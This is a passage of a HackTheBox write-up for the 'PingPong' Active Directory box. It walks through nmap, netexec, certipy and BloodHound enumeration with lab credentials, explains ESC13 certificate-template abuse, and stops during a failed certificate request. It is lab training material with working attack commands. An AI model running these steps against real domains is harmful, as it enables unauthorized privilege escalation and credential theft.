HTB: PingPong
PingPong is an assume breach Active Directory box with two forests joined by a bidirectional trust. I’ll abuse ESC13 to get a certificate whose issuance policy maps to a group with WinRM access, and get a shell on the first DC. From there, I’ll tunnel to the second forest, convert a global group to domain local so I can add my user from across the trust, and read a gMSA password. That gMSA account is limited to a constrained JEA endpoint, which I’ll escape with script blocks to find credentials in a PowerShell history file. With those, I’ll abuse resource-based constrained delegation to reach MSSQL as a database admin, and use GodPotato to compromise the second domain. Finally, I’ll cross back over the trust and abuse ESC4 to get Administrator on the first DC.
Box Info
Recon
Initial Scanning
nmap finds 19 open TCP ports:
oxdf@hacky$ sudo nmap -p- --reason --min-rate 10000 10.129.128.220
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-11-12 19:45 UTC
Nmap scan report for 10.129.128.220
Host is up, received echo-reply ttl 127 (0.021s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
2179/tcp open vmrdp syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49670/tcp open unknown syn-ack ttl 127
56499/tcp open unknown syn-ack ttl 127
56628/tcp open unknown syn-ack ttl 127
56643/tcp open unknown syn-ack ttl 127
Nmap done: 1 IP address (1 host up) scanned in 13.34 seconds
oxdf@hacky$ sudo nmap -p 53,88,135,139,389,445,464,593,636,2179,3268,3269,5985,9389,49664,49670,56499,56628,56643 -sCV 10.129.128.220
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-11-12 19:55 UTC
Nmap scan report for 10.129.128.220
Host is up (0.021s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-11-13 03:55:43Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ping.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc1.ping.htb, DNS:ping.htb, DNS:PING
| Not valid before: 2026-04-20T18:54:50
|_Not valid after: 2106-04-20T18:54:50
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ping.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc1.ping.htb, DNS:ping.htb, DNS:PING
| Not valid before: 2026-04-20T18:54:50
|_Not valid after: 2106-04-20T18:54:50
|_ssl-date: TLS randomness does not represent time
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ping.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc1.ping.htb, DNS:ping.htb, DNS:PING
| Not valid before: 2026-04-20T18:54:50
|_Not valid after: 2106-04-20T18:54:50
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ping.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc1.ping.htb, DNS:ping.htb, DNS:PING
| Not valid before: 2026-04-20T18:54:50
|_Not valid after: 2106-04-20T18:54:50
|_ssl-date: TLS randomness does not represent time
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
56499/tcp open msrpc Microsoft Windows RPC
56628/tcp open msrpc Microsoft Windows RPC
56643/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 7h59m59s
| smb2-time:
| date: 2026-11-13T03:56:35
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.15 seconds
The box shows many of the ports associated with a Windows Domain Controller. The domain is ping.htb, and the hostname is DC1.
I’ll use netexec to make a hosts file entry and put it at the top of my /etc/hosts file:
oxdf@hacky$ netexec smb 10.129.128.220 --generate-hosts-file hosts
SMB 10.129.128.220 445 dc1 x64 (name:dc1) (domain:ping.htb) (signing:True) (SMBv1:False) (NTLM:False) (DC:True)
oxdf@hacky$ cat hosts /etc/hosts | sudo sponge /etc/hosts
oxdf@hacky$ head -1 /etc/hosts
10.129.128.220 dc1.ping.htb ping.htb dc1
I’ll also create the krb5.conf for this domain:
oxdf@hacky$ netexec smb 10.129.128.220 --generate-krb5-file krb5.conf
SMB 10.129.128.220 445 dc1 x64 (name:dc1) (domain:ping.htb) (signing:True) (SMBv1:False) (NTLM:False) (DC:True)
SMB 10.129.128.220 445 dc1 [+] krb5 conf saved to: krb5.conf
SMB 10.129.128.220 445 dc1 [+] Run the following command to use the conf file: export KRB5_CONFIG=krb5.conf
oxdf@hacky$ sudo cp krb5.conf /etc/krb5.conf
I’ll also add dns_canonicalize_hostname = false to the [libdefaults] section of /etc/krb5.conf. By default, the system Kerberos library canonicalizes the hostname through DNS before building the service principal name, and that can produce a name that doesn’t match. With this set, it uses the hostname exactly as I give it.
All of the ports show a TTL of 127, which matches the expected TTL for Windows one hop away. However, Windows regularly likes to proxy traffic to internal VMs in a way that doesn’t decrement the TTL, so this doesn’t rule that out. In fact, TCP 2179 is Hyper-V’s Virtual Machine Management Service, so there are likely VMs at play on this machine.
nmap notes a clock skew, so I’ll want to make sure to run sudo ntpdate DC1.ping.htb before any actions that use Kerberos auth.
Initial Credentials
HackTheBox provides the following scenario associated with PingPong:
As is common in real life pentests, you will start the PingPong box with credentials for the following account c.roberts / AssumedBreach123
The creds return an error that shows the box doesn’t support NTLM authentication:
oxdf@hacky$ netexec smb dc1.ping.htb -u c.roberts -p AssumedBreach123
SMB 10.129.128.220 445 dc1 x64 (name:dc1) (domain:ping.htb) (signing:True) (SMBv1:False) (NTLM:False) (DC:True)
SMB 10.129.128.220 445 dc1 [-] ping.htb\c.roberts:AssumedBreach123 STATUS_NOT_SUPPORTED
With -k they do work:
oxdf@hacky$ netexec smb dc1.ping.htb -u c.roberts -p AssumedBreach123 -k
SMB dc1.ping.htb 445 dc1 x64 (name:dc1) (domain:ping.htb) (signing:True) (SMBv1:False) (NTLM:False) (DC:True)
SMB dc1.ping.htb 445 dc1 [+] ping.htb\c.roberts:AssumedBreach123
They also work for LDAP:
oxdf@hacky$ netexec ldap dc1.ping.htb -u c.roberts -p AssumedBreach123 -k
LDAP dc1.ping.htb 389 DC1 None (name:DC1) (domain:ping.htb) (signing:Unknown) (channel binding:Unknown) (NTLM:False)
LDAP dc1.ping.htb 389 DC1 [+] ping.htb\c.roberts:AssumedBreach123
netexec doesn’t have a good way to check WinRM over Kerberos, but I can get a TGT and try:
oxdf@hacky$ getTGT.py ping.htb/c.roberts:AssumedBreach123
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in c.roberts.ccache
oxdf@hacky$ KRB5CCNAME=c.roberts.ccache evil-winrm-py -i dc1.ping.htb -k
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.6.0
[*] Connecting to 'dc1.ping.htb:5985' as 'c.roberts@PING.HTB'
[-] Failed to authenticate the user None with kerberos
Unsurprisingly it fails.
Given that, I’ll want to prioritize things like:
- SMB shares
- ADCS
- LDAP / BloodHound
SMB - TCP 445
The shares on DC1 are the standard shares on a domain controller:
oxdf@hacky$ netexec smb DC1.ping.htb -u c.roberts -p AssumedBreach123 -k --shares
SMB DC1.ping.htb 445 DC1 x64 (name:DC1) (domain:ping.htb) (signing:True) (SMBv1:False) (NTLM:False) (DC:True)
SMB DC1.ping.htb 445 DC1 [+] ping.htb\c.roberts:AssumedBreach123
SMB DC1.ping.htb 445 DC1 Enumerated shares
SMB DC1.ping.htb 445 DC1 Share Permissions Remark
SMB DC1.ping.htb 445 DC1 ----- ----------- ------
SMB DC1.ping.htb 445 DC1 ADMIN$ Remote Admin
SMB DC1.ping.htb 445 DC1 C$ Default share
SMB DC1.ping.htb 445 DC1 IPC$ READ Remote IPC
SMB DC1.ping.htb 445 DC1 NETLOGON READ Logon server share
SMB DC1.ping.htb 445 DC1 SYSVOL READ Logon server share
Nothing interesting here.
LDAP - TCP 389+
General LDAP Enumeration
I’ll check for Kerberoasting and AS-REP Roasting:
oxdf@hacky$ netexec ldap dc1.ping.htb -u c.roberts -p AssumedBreach123 -k --kerberoast kerberoastLDAP
LDAP dc1.ping.htb 389 DC1 None (name:DC1) (domain:ping.htb) (signing:Unknown) (channel binding:Unknown) (NTLM:False)
LDAP dc1.ping.htb 389 DC1 [+] ping.htb\c.roberts:AssumedBreach123
LDAP dc1.ping.htb 389 DC1 Skipping disabled account: krbtgt
LDAP dc1.ping.htb 389 DC1 Total of records returned 0
oxdf@hacky$ netexec ldap dc1.ping.htb -u c.roberts -p AssumedBreach123 -k --asreproast asreproastLDAP
LDAP dc1.ping.htb 389 DC1 None (name:DC1) (domain:ping.htb) (signing:Unknown) (channel binding:Unknown) (NTLM:False)
LDAP dc1.ping.htb 389 DC1 [+] ping.htb\c.roberts:AssumedBreach123
LDAP dc1.ping.htb 389 DC1 No entries found!
There is a gMSA account, gMSA$:
oxdf@hacky$ netexec ldap dc1.ping.htb -u c.roberts -p AssumedBreach123 -k --gmsa
LDAP dc1.ping.htb 389 DC1 None (name:DC1) (domain:ping.htb) (signing:Unknown) (channel binding:Unknown) (NTLM:False)
LDAP dc1.ping.htb 389 DC1 [+] ping.htb\c.roberts:AssumedBreach123
LDAP dc1.ping.htb 389 DC1 Getting GMSA Passwords
LDAP dc1.ping.htb 389 DC1 Account: gMSA$ NTLM: <no read permissions> PrincipalsAllowedToReadPassword: []
c.roberts can’t read the password (unsurprisingly), and currently no users are configured to read it.
ADCS
netexec will show there’s a certificate authority set up on this DC and the CA name:
oxdf@hacky$ netexec ldap dc1.ping.htb -u c.roberts -p AssumedBreach123 -k -M adcs
LDAP dc1.ping.htb 389 DC1 None (name:DC1) (domain:ping.htb) (signing:Unknown) (channel binding:Unknown) (NTLM:False)
LDAP dc1.ping.htb 389 DC1 [+] ping.htb\c.roberts:AssumedBreach123
ADCS dc1.ping.htb 389 DC1 Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS dc1.ping.htb 389 DC1 Found PKI Enrollment Server: dc1.ping.htb
ADCS dc1.ping.htb 389 DC1 Found CN: ping-DC1-CA
There is, with the name ping-DC1-CA. I’ll use certipy to look for vulnerable certificate templates:
oxdf@hacky$ KRB5CCNAME=c.roberts.ccache certipy find -vulnerable -stdout -k -target dc1.ping.htb -dc-host dc1.ping.htb -ns 10.129.128.220
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 20 issuance policies
[*] Found 1 OID linked to a template
[*] Retrieving CA configuration for 'ping-DC1-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'ping-DC1-CA'
[*] Checking web enrollment for CA 'ping-DC1-CA' @ 'dc1.ping.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
0
CA Name : ping-DC1-CA
DNS Name : dc1.ping.htb
Certificate Subject : CN=ping-DC1-CA, DC=ping, DC=htb
Certificate Serial Number : 6F8E726EEFA64B894CE82D498BC27632
Certificate Validity Start : 2026-04-20 18:54:41+00:00
Certificate Validity End : 2126-04-20 19:04:41+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : PING.HTB\Administrators
Access Rights
ManageCa : PING.HTB\Administrators
PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
ManageCertificates : PING.HTB\Administrators
PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Enroll : PING.HTB\Authenticated Users
Certificate Templates
0
Template Name : TemporaryWinRM
Display Name : Temporary WinRM
Certificate Authorities : ping-DC1-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireUpn
SubjectRequireDirectoryPath
Enrollment Flag : IncludeSymmetricAlgorithms
PublishToDs
AutoEnrollment
Private Key Flag : ExportableKey
Extended Key Usage : Client Authentication
Secure Email
Encrypting File System
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2025-12-23T17:19:28+00:00
Template Last Modified : 2025-12-27T21:12:15+00:00
Issuance Policies : 1.3.6.1.4.1.311.21.8.5808481.4086498.12600997.2067446.8927163.214.489503.1996623
Linked Groups : CN=TempWinRMAccess,CN=Users,DC=ping,DC=htb
Permissions
Enrollment Permissions
Enrollment Rights : PING.HTB\Domain Admins
PING.HTB\Domain Users
PING.HTB\Enterprise Admins
Object Control Permissions
Owner : PING.HTB\Administrator
Full Control Principals : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Write Owner Principals : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Write Dacl Principals : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Write Property Enroll : PING.HTB\Domain Admins
PING.HTB\Domain Users
PING.HTB\Enterprise Admins
[+] User Enrollable Principals : PING.HTB\Domain Users
[!] Vulnerabilities
ESC13 : Template allows client authentication and issuance policy is linked to group 'CN=TempWinRMAccess,CN=Users,DC=ping,DC=htb'.
It calls out ESC13 on the TemporaryWinRM certificate template. That’s not a standard template, so I’ll want to keep that in mind.
BloodHound
I’ll collect BloodHound data with RustHound-CE:
oxdf@hacky$ KRB5CCNAME=c.roberts.ccache rusthound-ce -d ping.htb -k -f dc1.ping.htb --zip --ldaps
---------------------------------------------------
Initializing RustHound-CE at 22:41:40 on 11/13/26
Powered by @g0h4n_0
---------------------------------------------------
[2026-11-13T22:41:40Z INFO rusthound_ce] Verbosity level: Info
[2026-11-13T22:41:40Z INFO rusthound_ce] Collection method: All
[2026-11-13T22:41:40Z INFO rusthound_ce::transport::ldap] Connected to PING.HTB Active Directory!
[2026-11-13T22:41:40Z INFO rusthound_ce::transport::ldap] Ldap filter : (objectClass=*)
[2026-11-13T22:41:41Z INFO rusthound_ce::transport::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=ping,DC=htb
[2026-11-13T22:41:41Z INFO rusthound_ce::transport::ldap] Ldap filter : (objectClass=*)
[2026-11-13T22:41:41Z INFO rusthound_ce::transport::ldap] All data collected for NamingContext DC=ping,DC=htb
[2026-11-13T22:41:41Z INFO rusthound_ce::transport::ldap] Ldap filter : (objectClass=*)
[2026-11-13T22:41:41Z INFO rusthound_ce::transport::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=ping,DC=htb
[2026-11-13T22:41:41Z INFO rusthound_ce::transport::ldap] Ldap filter : (objectClass=*)
[2026-11-13T22:41:41Z INFO rusthound_ce::transport::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=ping,DC=htb
[2026-11-13T22:41:41Z INFO rusthound_ce::transport::ldap] Ldap filter : (objectClass=*)
[2026-11-13T22:41:41Z INFO rusthound_ce::transport::ldap] All data collected for NamingContext CN=Configuration,DC=ping,DC=htb
[2026-11-13T22:41:41Z INFO rusthound_ce::api] Starting the LDAP objects parsing...
⢀ Parsing LDAP objects: 15%
[2026-11-13T22:41:41Z INFO rusthound_ce::objects::enterpriseca] Found 13 enabled certificate templates
[2026-11-13T22:41:41Z INFO rusthound_ce::api] Parsing LDAP objects finished!
[2026-11-13T22:41:41Z INFO rusthound_ce::json::checker] Starting checker to replace some values...
[2026-11-13T22:41:41Z INFO rusthound_ce::json::checker] Checking and replacing some values finished!
[2026-11-13T22:41:41Z INFO rusthound_ce::modules::session] [sessions] 0 active target(s) after expiry/enabled filter
[2026-11-13T22:41:41Z INFO rusthound_ce::modules::session] [sessions] 0 session(s) enumerated in total across 0 host(s)
[2026-11-13T22:41:41Z INFO rusthound_ce::modules] Starting ESC8 web enrollment probe on 1 CA(s)...
[2026-11-13T22:42:00Z INFO rusthound_ce::modules::gpo::sysvol] [gpo] collected directives from 1 GPO(s) on dc1.ping.htb SYSVOL
[2026-11-13T22:42:00Z INFO rusthound_ce::modules] [gpo] mapping 1 GPO(s) to GPOChanges / UserRights
[2026-11-13T22:42:00Z INFO rusthound_ce::modules::localgroup] [localgroups] 0 active target(s) after expiry/enabled filter
[2026-11-13T22:42:00Z INFO rusthound_ce::modules::localgroup] [localgroups] 0 edge(s) across 0 host(s)
[2026-11-13T22:42:00Z INFO rusthound_ce::modules::webclient] [webclient] 0 active target(s) after expiry/enabled filter
[2026-11-13T22:42:00Z INFO rusthound_ce::modules::registry] [careg] no password or NT hash available - not reading CA registry on 1 CA(s)
[2026-11-13T22:42:00Z INFO rusthound_ce::json::maker::common] 28 users parsed!
[2026-11-13T22:42:00Z INFO rusthound_ce::json::maker::common] 65 groups parsed!
[2026-11-13T22:42:00Z INFO rusthound_ce::json::maker::common] 1 computers parsed!
[2026-11-13T22:42:00Z INFO rusthound_ce::json::maker::common] 1 ous parsed!
[2026-11-13T22:42:00Z INFO rusthound_ce::json::maker::common] 2 domains parsed!
[2026-11-13T22:42:00Z INFO rusthound_ce::json::maker::common] 3 gpos parsed!
[2026-11-13T22:42:00Z INFO rusthound_ce::json::maker::common] 74 containers parsed!
[2026-11-13T22:42:00Z INFO rusthound_ce::json::maker::common] 1 ntauthstores parsed!
[2026-11-13T22:42:00Z INFO rusthound_ce::json::maker::common] 1 aiacas parsed!
[2026-11-13T22:42:00Z INFO rusthound_ce::json::maker::common] 1 rootcas parsed!
[2026-11-13T22:42:00Z INFO rusthound_ce::json::maker::common] 1 enterprisecas parsed!
[2026-11-13T22:42:00Z INFO rusthound_ce::json::maker::common] 35 certtemplates parsed!
[2026-11-13T22:42:00Z INFO rusthound_ce::json::maker::common] 4 issuancepolicies parsed!
[2026-11-13T22:42:00Z INFO rusthound_ce::json::maker::common] .//20261113224200_ping-htb_rusthound-ce.zip created!
RustHound-CE Enumeration Completed at 22:42:00 on 11/13/26! Happy Graphing!
I’ll upload that into a BloodHound-CE docker instance. I’ll mark c.roberts as owned, and look at their outbound control:
Nothing that doesn’t come from the Domain Users group, and all related to ADCS. There is a TempWinRMAccess group with no users. Having seen ESC13 in the certipy output, a bit of Cypher (thanks Claude) can link templates through their issuance policies to groups:
MATCH p=(t:CertTemplate)-[:ExtendedByPolicy]->(i:IssuancePolicy)-[:OIDGroupLink]->(g:Group)
RETURN p
That shows TemporaryWinRM links to the WinRM issuance policy which is linked to the TempWinRMAccess group:
c.roberts is also in the IT group:
There’s no obvious gain from that at this point.
DCs
Looking at the ping.htb domain object, there’s a CrossForestTrust edge to pong.htb:
I can also see this with netexec:
oxdf@hacky$ netexec ldap dc1.ping.htb -u C.Roberts -p AssumedBreach123 -k --dc-list
LDAP dc1.ping.htb 389 DC1 None (name:DC1) (domain:ping.htb) (signing:Unknown) (channel binding:Unknown) (NTLM:False)
LDAP dc1.ping.htb 389 DC1 [+] ping.htb\C.Roberts:AssumedBreach123
LDAP dc1.ping.htb 389 DC1 dc1.ping.htb = 10.129.128.220
LDAP dc1.ping.htb 389 DC1 [+] Found DC in trusted domain: dc2.pong.htb
LDAP dc1.ping.htb 389 DC1 pong.htb -> Bidirectional -> Forest Transitive
LDAP dc1.ping.htb 389 DC1 dc2.pong.htb = 192.168.2.2
That leaks the IP of DC2.pong.htb, 192.168.2.2.
Checking in BloodHound I don’t see many pong.htb objects:
That’s because I haven’t collected on that domain, just what references there are in ping.htb.
Writable Objects
I’ll use bloodyAD to check for writable objects:
oxdf@hacky$ KRB5CCNAME=c.roberts.ccache bloodyAD --host DC1.ping.htb -d ping.htb -k get writable
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=ping,DC=htb
permission: WRITE
distinguishedName: CN=C.Roberts,CN=Users,DC=ping,DC=htb
permission: WRITE
distinguishedName: DC=ping.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=ping,DC=htb
permission: CREATE_CHILD
distinguishedName: DC=_msdcs.ping.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=ping,DC=htb
permission: CREATE_CHILD
These are the default four objects for a domain user:
CN=S-1-5-11,CN=ForeignSecurityPrincipals:S-1-5-11is Authenticated Users.bloodyADreports this object as writable on almost every domain.CN=C.Roberts,CN=Users: By default, users can edit some attributes on their own account (personal information, phone numbers and similar) through SELF permissions.- The
ping.htband_msdcs.ping.htbDNS zones (CREATE_CHILD): by default, any authenticated user can create new DNS records in AD-integrated zones. It’s the basis of ADIDNS spoofing or relay tricks, but it isn’t a misconfiguration specific to this box.
Shell as c.roberts on DC1
ESC13
Background
The Certipy Wiki describes ESC13 as:
ESC13 describes a privilege escalation scenario where a certificate template is configured with an “Issuance Policy” that, through an OID configuration in Active Directory, is linked to a specific AD security group. If an attacker can enroll for such a template, the certificate they obtain can effectively grant them the privileges associated with that linked AD group during Kerberos authentication.
ESC13 was published by SpecterOps in early 2024. It abuses a legitimate Windows feature called Authentication Mechanism Assurance (AMA). AMA is meant to give users extra access only when they log in with a smart card or certificate, and not when they log in with a password.
There are three pieces that make this work:
- Issuance policy: A certificate template can list one or more issuance policies, each identified by an OID. Every certificate issued from that template carries those OIDs in its Certificate Policies extension.
- OID group link: Each issuance policy is an object in AD under
CN=OID,CN=Public Key Services,CN=Services,CN=Configuration. ItsmsDS-OIDToGroupLinkattribute can point to a group. AD requires that group to be a universal group with no members. - PKINIT: When a user authenticates to Kerberos with a certificate, the KDC checks the certificate’s issuance policies, follows any group links, and adds those group SIDs to the PAC in the TGT it issues.
The user’s account never changes. They aren’t added to the group, their memberOf stays the same, and BloodHound shows the group as empty. The group only exists in tickets obtained with the certificate. If the linked group has interesting rights, anyone who can enroll in the template gets those rights.
Request
So c.roberts can request a certificate from TemporaryWinRM, use it to get a TGT, and that TGT will include the TempWinRMAccess group. What that group grants isn’t visible from here, but given the name of the group, it’s reasonable to try WinRM access.
To abuse ESC13 I just need to enroll in the template using the certipy req command. My initial attempt fails:
oxdf@hacky$ KRB5CCNAME=c.roberts.ccache certipy req -k -target dc1.ping.htb -dc-host dc1.ping.htb -ns 10.129.128.220 -ca ping-DC1-CA -template TemporaryWinRM
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[-] Error during Kerberos authentication: [Errno Connection error (192.168.2.1:88)] [Errno 110] Connection timed out
[-] Got error: [Errno Connection error (192.168.2.1:88)] [Errno 110] Connection timed out
[-] Use -debug to print a stacktrace
If I run with -debug it shows what’s happening:
oxdf@hacky$ KRB5CCNAME=c.roberts.ccache certipy req -k -target dc1.ping.htb -dc-host dc1.ping.htb -ns 10.129.128.220 -ca ping-DC1-CA -template TemporaryWinRM -debug
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[+] Domain retrieved from CCache: PING.HTB
[+] Username retrieved from CCache: c.roberts
[+] Nameserver: '10.129.128.220'
[+] DC IP: None
[+] DC Host: 'dc1.ping.htb'
[+] Target IP: None
[+] Remote Name: 'dc1.ping.htb'
[+] Domain: 'PING.HTB'
[+] Username: 'C.ROBERTS'
[+] Trying to resolve 'dc1.ping.htb' at '10.129.128.220'
[+] Resolved 'dc1.ping.htb' from cache: 192.168.2.1
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Checking for Kerberos ticket cache
[+] Loaded Kerberos cache from c.roberts.ccache
[+] Using HOST ticket from cache
[+] Username retrieved from CCache credential: c.roberts
[+] Using existing TGS for 'c.roberts'@'PING.HTB' for 'HOST' service
[+] Trying to connect to endpoint: ncacn_np:192.168.2.1[\pipe\cert]
[!] Failed to connect to endpoint ncacn_np:192.168.2.1[\pipe\cert]: [Errno Connection error (192.168.2.1:445)] timed out
Traceback (most recent call last):
File "/home/oxdf/.local/share/uv/tools/certipy-ad/lib/python3.13/site-packages/impacket/nmb.py", line 905, in _setup_connection
sock.connect(sa)
~~~~~~~~~~~~^^^^
TimeoutError: timed out
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/home/oxdf/.local/share/uv/tools/certipy-ad/lib/python3.13/site-packages/certipy/lib/rpc.py", line 219, in _try_binding
dce.connect()
~~~~~~~~~~~^^
File "/home/oxdf/.local/share/uv/tools/certipy-ad/lib/python3.13/site-packages/impacket/dcerpc/v5/rpcrt.py", line 1359, in connect
return self._transport.connect()
~~~~~~~~~~~~~~~~~~~~~~~^^
File "/home/oxdf/.local/share/uv/tools/certipy-ad/lib/python3.13/site-packages/impacket/dcerpc/v5/transport.py", line 517, in connect
self.setup_smb_connection()
~~~~~~~~~~~~~~~~~~~~~~~~~^^
File "/home/oxdf/.local/share/uv/tools/certipy-ad/lib/python3.13/site-packages/impacket/dcerpc/v5/transport.py", line 509, in setup_smb_connection
self.__smb_connection = SMBConnection(self.getRemoteName(), self.getRemoteHost(), sess_port=self.get_dport(),
~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
preferredDialect=self.__prefDialect, timeout=self.get_connect_timeout())
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/oxdf/.local/share/uv/tools/certipy-ad/lib/python3.13/site-packages/impacket/smbconnection.py", line 93, in __init__
self.negotiateSession(preferredDialect)
~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^
File "/home/oxdf/.local/share/uv/tools/certipy-ad/lib/python3.13/site-packages/impacket/smbconnection.py", line 134, in negotiateSession
packet = self.negotiateSessionWildcard(self._myName, self._remoteName, self._remoteHost, self._sess_port,
self._timeout, True, flags1=flags1, flags2=flags2, data=negoData)
File "/home/oxdf/.local/share/uv/tools/certipy-ad/lib/python3.13/site-packages/impacket/smbconnection.py", line 183, in negotiateSessionWildcard
self._nmbSession = nmb.NetBIOSTCPSession(myName, remoteName, remoteHost, nmb.TYPE_SERVER, sess_port,
~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
timeout)
^^^^^^^^
File "/home/oxdf/.local/share/uv/tools/certipy-ad/lib/python3.13/site-packages/impacket/nmb.py", line 896, in __init__
NetBIOSSession.__init__(self, myname, remote_name, remote_host, remote_type=remote_type, sess_port=sess_port,
~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
timeout=timeout, local_type=local_type, sock=sock)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/oxdf/.local/share/uv/tools/certipy-ad/lib/python3.13/site-packages/impacket/nmb.py", line 756, in __init__
self._sock = self._setup_connection((remote_host, sess_port), timeout)
~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/oxdf/.local/share/uv/tools/certipy-ad/lib/python3.13/site-packages/impacket/nmb.py", line 908, in _setup_connection
raise socket.error("Connection error (%s:%s)" % (peer[0], peer[1]), e)
OSError: [Errno Connection error (192.168.2.1:445)] timed out
[+] Trying to resolve dynamic endpoint 91AE6020-9E3C-11CF-8D7C-00AA00C091BE
[!] Failed to connect to endpoint mapper: Could not connect: timed out
Traceback (most recent call last):
File "/home/oxdf/.local/share/uv/tools/certipy-ad/lib/python3.13/site-packages/impacket/dcerpc/v5/transport.py", line 354, in connect
self.__socket.connect(sa)
~~~~~~~~~~~~~~~~~~~~~^^^^
TimeoutError: timed out
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/home/oxdf/.local/share/uv/tools/certipy-ad/lib/python3.13/site-packages/certipy/lib/rpc.py", line 166, in get_dynamic_endpoint
dce.connect()
~~~~~~~~~~~^^
File "/home/oxdf/.local/share/uv/tools/certipy-ad/lib/python3.13/site-packages/impacket/dcerpc/v5/rpcrt.py", line 1359, in connect
return self._transport.connect()
~~~~~~~~~~~~~~~~~~~~~~~^^
